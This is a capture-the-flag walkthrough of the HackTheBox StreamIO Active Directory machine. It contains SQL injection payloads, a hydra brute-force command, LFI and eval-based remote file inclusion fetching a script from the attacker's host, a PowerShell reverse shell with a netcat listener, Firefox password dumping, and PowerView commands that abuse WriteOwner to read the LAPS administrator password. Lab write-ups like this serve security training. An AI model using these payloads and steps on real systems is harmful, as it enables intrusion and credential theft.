SteamIO HackTheBox Walkthrough | Active Directory

D3athCod3
12 min readJun 25, 2024

--

Hello Hackers! :)

In today’s article, we’re going to solve the StreamIO HackTheBox Active Directory machine. This was one of the toughest medium-level boxes I’ve tackled, involving extensive web work and a lot of enumeration, but it was a fun and rewarding challenge. Let’s not be scared and dive right in!

Scanning

Let’s start scanning using nmap fast scan

nmap -F -sV 10.10.11.158

We find some open ports including http,https and Domain Name: streamio.htb

Before doing anything i save domain name with server ip inside /etc/hosts file

Enumeration

After this i started enumerating port one by one, I tried enumerating different ports excluding 80 and 443 but nothing work not even found users :(

Now it’s time to move to port 80, after accessing port 80 i got default iis server page

I tried directory enumeration but found nothing :(

Then i move to port 443 and found a web

i started enumeration on this website too but sadly found nothing only “register”, “login page” and “/admin

I register new user but when i tried logging in using that user it’s said Login Failed :(

Finding Subdomain

After trying different things i decide to try enumerating sub-domain using wfuzz tool

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" --hw 24

Found watch.streamio.htb subdomain i add this domain inside /etc/hosts too.

After accessing this sub domain i got online stream movies web page

i started directory enumeration on this subdomain and got some interesting result

dirb https://watch.streamio.htb/ -X .php

i access these location one by one, inside blocked.php i found a malicious activity and block message

then i access search.php and find a input field with movies list

After little bit testing i found out “OR” statement is blacklisted so we can’t use this but “AND” statement is working so i tried using it but nothing is returned. I tried comment inject and it worked :)

got bunch of movies that have “in” word in it. After this i try finding number of coloumns using “UNION” caluse because we can’t use “ORDER BY”. After little bit work i find out that 6 number of column exists:

fjdf' UNION select 1,2,3,4,5,6--

Then i tried quering DB version:

fjdf' UNION select 1,@@version,3,4,5,6--

Let’s try enumerating database name using below query

fjdf' UNION select 1,(SELECT DB_NAME()),3,4,5,6--

Then i enumerate this database tables

fjdf' UNION SELECT 1, table_name, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.TABLES WHERE table_catalog='streamio'--

Finally i tried enumerating column of “users” table:

fjdf' UNION SELECT 1, column_name, 3, 4, 5, 6 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_catalog='streamio'--

then i dump username and password column using below query

fjdf' UNION SELECT 1, CONCAT(username, ':', password), 3, 4, 5, 6 FROM users--

I saved all this details in my kali linux, and it look like this:

Using hashcat i crack these hash

hashcat -m 0 dump_database.txt /usr/share/wordlists/rockyou.txt --username --show

I store them inside a file and as we know we had a login page where we can try these credentials. For that i separate user and password and store them in different file.

$ cut -d ":" -f1 cracked_creds.txt > user.txt

$ cat user.txt
admin
Barry
Bruno
Clara
hacker
Juliette
Lauren
Lenord
Michelle
Sabrina
Thane
Victoria
yoshihide
$ cut -d ":" -f3 cracked_creds.txt > pass.txt    

$ cat pass.txt
paddpadd
$hadoW
$monique$1991$
%$clara
hacker
$3xybitch
##123a8j8w5123##
physics69i
!?Love?!123
!!sabrina$
highschoolmusical
!5psycho8!
66boysandgirls..

Using hydra and these creds list i tried brute forcing on login page

hydra -L user.txt -P pass.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"

If you don’t know how to use hydra use this page: https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/

Got valid credential using this i login into yoshihide account and as we know we have /admin directory we found during fuzzing i access this directory and got admin panel with some hyperlinks

While clicking on hyperlinks we can see parameter inside url

We had 4 hyperlinks and parameter we found are:

?user=
?staff=
?movie=
?message=

Given that these features utilize a PHP parameter to load dynamic content on the web page, there is a potential risk of Local File Inclusion (LFI) vulnerability.

I tried fuzzing these parameter using wfuzz tool but before that i had to find session cookie else our request will fail because if a request is made by an authenticated user, it will simply respond with “FORBIDDEN”.

Using inspect tool i find my session cookie :)

Then i start fuzzing but found nothing . After this i decided to fuzz for parameter using wfuzz

wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 131 "https://streamio.htb/admin/index.php?FUZZ="

and found a new parameter i.e. debug=

i tried fuzzing for LFI on this parameter

└─$ wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 137 "https://streamio.htb/admin/index.php?debug=FUZZ"

and found out this parameter is vulnerable :) and we can access win.ini file

I tried reading source code of index.php using filter method

https://streamio.htb/admin/index.php?debug=PHP://filter/convert.base64-encode/resource=index.php

After decoding base64 we get source code

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>base64: invalid input

In this we found username and password, but as we already know database is not accessible from outside So we can’t do anything with these creds :(

Then i tried finding fuzzing files inside /admin/ location

wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -b PHPSESSID=60rr3u6nmkr4jphak1qe0lenq9 --hw 95,131 "https://streamio.htb/admin/FUZZ.php"

and got a master.php using same method i got master.php page source code

https://streamio.htb/admin/index.php?debug=PHP://filter/convert.base64-encode/resource=master.php

I stored base64 code inside a file named as master.base64 and using same base64 -d method i decode this

cat master.base64 | base64 -d

at the end of the source code there’s a ‘eval’ function:

<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

Using the `eval` function with user input is highly insecure. Instead, we need to send a POST request to “master.php” with a parameter named “include”. Since it utilizes `file_get_contents`, we should specify a file, which can be hosted on our Kali machine. Therefore, let’s create a PHP script containing the following code:

system("dir C:\\");

i save this inside a file and host using python server and using burp with post request i send this file in include parameter and in response i get directories inside C:\

It work as expected :) now it’s time to gain shell

Using https://www.revshells.com/ i generated a powershell reverse shell

Then i added this shell inside my dir.php

system("powershell -e ...");

and started netcat listner on port 1234

nc -nvlp 1234

same as before i send the request and after few seconds i get shell :)

After this i started enumerating directories but found nothing interesting after checking ports using netstat i find 1443 port is running

S C:\inetpub\streamio.htb\admin> netstat -nat

Active Connections

Proto Local Address Foreign Address State Offload State

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING InHost

And we already found a db_admin password before using where.exe i try finding sqlcmd windows utility

PS C:\inetpub\watch.streamio.htb> where.exe sqlcmd
C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE

and using sqlcmd and found creds i find database and user hash

PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM sys.databases;"
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'"
table_name
--------------------------------------------------------------------------------------------------------------------------------
movies
users

(2 rows affected)
PS C:\inetpub\watch.streamio.htb> sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5

here nikk37 is new user, Using crackstation i crack this user hash

Using crackmapexec with this creds i find these are valid creds and we can login using these creds :)

$ crackmapexec smb 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'
SMB 10.10.11.158 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com

Using evil-winrm i access this user shell

Inside Desktop i found user.txt

I tried enumerating this box but found nothing but later inside program files i found firefox is installed and we can try to dump password if exist.

For verifying user profile exist or not i tried finding user firefox profile and found inside location

C:\Users\nikk37\appdata\Roaming\Mozilla\Firefox\Profiles\

Now it’s time to download “key4.db” and “logins.json” for dumping passwords and same as before using download option i downloaded these files inside firepwd tool directory

If you don’t have firepwd you can install that from here

Using firepwd tool i found some users and credentials

$ python3 firepwd.py
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
}
}
}
OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
}
}
}
OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
}
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'

I stored username and password in file for using them with crackmapexec

crackmapexec smb 10.10.11.158 -u new_user.txt -p new_pass.txt

and we got hit

But sadly we can’t gain shell as JDgodd user :(

After this i get back to nikk37 user shell and uploaded SharpHound.exe for bloodhound and using evil-winrm “download” option i downloaded zip file.

Inside bloodhound i upload that zip file and everything setup perfectly :)

After some searching i found that JDGODD “Owns” and has “WriteOwner” privilege overt the “CORE STAFF” group.

If i do the same thing for this group:

We can see that the users that are part of this group and have “ReadLAPSPassword” privilege over the “DC.STREAMIO.HTB” computer, which is the one i have a shell as “nikk37”. If we can read LAPS password, we can obtain the Administrator password and login as him, obtaining domain compromise.

For this i uploaded “powerview” inside nikk37 user shell as we can’t grab shell as JDgodd user but can execute command using his credentials :)

First Import powerview module

*Evil-WinRM* PS C:\Users\nikk37\Documents> Import-Module .\powerview.ps1

Then i Created a PowerShell credential object for JDgodd.

*Evil-WinRM* PS C:\Users\nikk37\Documents> $username = "JDgodd"
*Evil-WinRM* PS C:\Users\nikk37\Documents> $password = ConvertTo-SecureString "JDg0dd1s@d0p3cr3@t0r" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\nikk37\Documents> $cred = New-Object System.Management.Automation.PSCredential($username, $password)

Use JDgodd’s WriteOwner privilege to add himself to the CORE STAFF group.

*Evil-WinRM* PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity "CORE STAFF" -Members "JDgodd" -Credential $cred

Verify Membership of JDgodd in CORE STAFF:

*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-DomainGroupMember -Identity "CORE STAFF"


GroupDomain : streamIO.htb
GroupName : CORE STAFF
GroupDistinguishedName : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
MemberDomain : streamIO.htb
MemberName : JDgodd
MemberDistinguishedName : CN=JDgodd,CN=Users,DC=streamIO,DC=htb
MemberObjectClass : user
MemberSID : S-1-5-21-1470860369-1569627196-4264678630-1104

Using the below command to query the ms-Mcs-AdmPwd attribute, which stores the LAPS password.

*Evil-WinRM* PS C:\Users\nikk37\Documents> $lapsPassword = Get-ADComputer -Identity DC -Properties ms-Mcs-AdmPwd -Credential $cred | Select-Object -ExpandProperty 'ms-Mcs-AdmPwd'

Obtaining the Administrator Password:

*Evil-WinRM* PS C:\Users\nikk37\Documents> Write-Output "LAPS Password for DC: $lapsPassword"
LAPS Password for DC: 6(ex5r1ar75y2J

Now using found creds with evil-winrm i login as administrator

I found root flag inside “Martin” user

*Evil-WinRM* PS C:\Users\Martin\Desktop> dir


Directory: C:\Users\Martin\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/24/2024 3:09 PM 34 root.txt

BOOMM!! StreamIO Solved Successfully :)

Follow For More: Instagram, LinkedIn

--

--

No responses yet